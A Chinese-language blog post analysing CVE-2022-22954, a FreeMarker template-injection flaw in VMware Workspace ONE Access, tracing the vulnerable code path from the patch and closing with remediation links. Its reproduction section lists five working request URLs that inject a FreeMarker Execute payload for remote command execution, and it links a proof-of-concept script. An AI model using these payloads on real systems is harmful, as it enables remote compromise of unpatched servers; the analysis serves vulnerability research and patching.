CVE-2022-22954漏洞分析

李笑林2个月前Web安全2703

VMware Workspace ONE Access(以前称为VMware Identity Manager)旨在通过多因素身份验证、条件访问和单点登录,让您的员工更快地访问SaaS、Web和本机移动应用程序。

近日VMware官网发布了VMware Workspace ONE Access存在多个漏洞:


图片1.png

其中漏洞编号CVE-2022-22954,CVSS评分为9.8,危害等级为严重。影响版本如下:

Ø  VMware Workspace ONE Access Appliance (版本号:20.10.0.0 ,20.10.0.1 ,21.08.0.0 ,21.08.0.1 )

Ø  VMware Identity Manager Appliance (版本号:3.3.3 , 3.3.4 , 3.3.5 ,3.3.6)

Ø  VMware Realize Automation (版本号:7.6)


漏洞分析

从补丁入手分析,官方给出修复脚本HW-154129-applyWorkaround.py,补丁地址如下:

https://vmware-gs.my.salesforce.com/sfc/p/#f40000003u6t/a/5G0000002Nla/9COLfZG7uu8iDjLoZTis5Ltzmd1H87iToXs9uLZF8IU

图片2.png

首先关注补丁文件对模板的修改,删除了endusercatalog-ui-1.0-SNAPSHOT-classes.jar 中自带的模板 customError.ftl

看一下这个文件,发现下图位置调用了freemarker引擎的eval函数来渲染errObj

图片3.png

在freemarker官网文档中给出了安全问题的提示

https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval

此内置函数将字符串计算为FTL表达式,FTL表达式可以访问变量,并在它们上调用Java方法,因此(?eval)的字符串来自不受信任的来源,可能就会成为攻击媒介。可以判断是在customError渲染模板过程中产生了漏洞。

图片4.png

接着看那里可以渲染这个模板发现如下代码位置

com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError

并且设置了 errorObj 属性的值。

图片5.png

搜索handleUnauthorizedError调用关系发现两个函数,getErrorPage和handleUnauthorizedError

图片6.png

handleUnauthorizedError也在getErrorPage中,所以继续跟进getErrorPage

图片7.png

继续寻找/ui/view/error的调用,因为这是一个API接口,无法从请求中提javax.servlet.error.message,导致目标渲染的内容不可控。通过搜索找到另一处调用位于UiApplicationExceptionResolver#resolveException:

图片8.png

存在javax.servlet.error.message赋值过程,继续跟进发现两个异常处理类handleHttpMediaTypeNotAcceptableException、handleAnyGenericException

调用

可以看出handleAnyGenericException适配的异常更通用需要通过全局异常处理函数UiApplicationExceptionResolver#handleAnyGenericException触发freemarker模板渲染,在 handleAnyGenericException 中,进入 resolveException 时会根据异常的类型传入不同的参数,

如果异常类不是 LocalizationParamValueException 子类的话则传入 uiRequest.getRequestId(),所以还要抛出 LocalizationParamValueException 异常类或其子类异常且其构造函数可控的地方。

图片11.png

这里有一个InvalidAuthContextException异常,继承于LocalizationParamValueException

图片12.png

在 AuthContext 的构造函数中抛出该异常

图片13.png

参数均来自于传入的 AuthContext.Builder builder 对象。而生成 AuthContext对象的地方在AuthContextPopulationInterceptor 拦截器中,而且各项参数均是从请求中获取,可控。但该拦截器类是在 endusercatalog-auth-1.0-SNAPSHOT.jar 中的,正常情况下无法访问到类,但从 UiApplication.class 发现其使用了 @ComponentScan 注解将 该auth包的类装配进了bean容器。

图片14.png

在包中查找添加该拦截器的地方,处于 endusercatalog\ui\config\WebConfig.class 中。

图片15.png

匹配的URL如下

图片16.png

梳理接口见复现POC



漏洞复现

搭建漏洞利用环境

搭建环境进行虚拟机导入,下载存在漏洞的VMware Workspace ONE Access OVA文件,主机名需要设置为域名

图片17.png

搭建成功

图片18.png

漏洞验证POC如下:

Ø  /catalog-portal/ui?code=&deviceUdid=&deviceType=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D

Ø  /catalog-portal/hub-ui?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D

Ø  /catalog-portal/hub-ui/byob?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D

Ø  /catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D

Ø  /catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D

 

burp发送验证代码执行成功

图片19.png


测试脚本

漏洞测试脚本已编写完毕,下载链接如下:

https://github.com/3SsFuck/CVE-2022-22954-POC

效果图如下:

图片20.png

漏洞修复

参考漏洞影响范围进行排查。目前官方已发布修复补丁,请查看官方消息进行修复:https://kb.vmware.com/s/article/88099



参考文章

[1]https://mp.weixin.qq.com/s/X_E0zWONLVUQcgP6nZ78Mw

[2]https://mp.weixin.qq.com/s/2qHhPs1HcEXVQb7bkC3mcA

[3]https://xz.aliyun.com/t/11196

 



相关文章

[CVE-2021-44228]log4j组件jndi注入漏洞

[CVE-2021-44228]log4j组件jndi注入漏洞

log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。...

CVE-2021-31805漏洞分析

CVE-2021-31805漏洞分析

Apache Struts 是一个免费的开源 MVC 框架,用于创建优雅的现代 Java Web 应用程序。它支持约定优于配置,可使用插件架构进行扩展,并附带支持 REST、AJAX 和 JSON 的...

[CVE-2021-3019]lanproxy内网穿透平台任意文件读取漏洞

[CVE-2021-3019]lanproxy内网穿透平台任意文件读取漏洞

 lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,目前仅支持tcp流量转发,可支持任何tcp上层协议,可用作访问内网网站、本地支付接口调试、SSH访问、远程桌面等等,...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。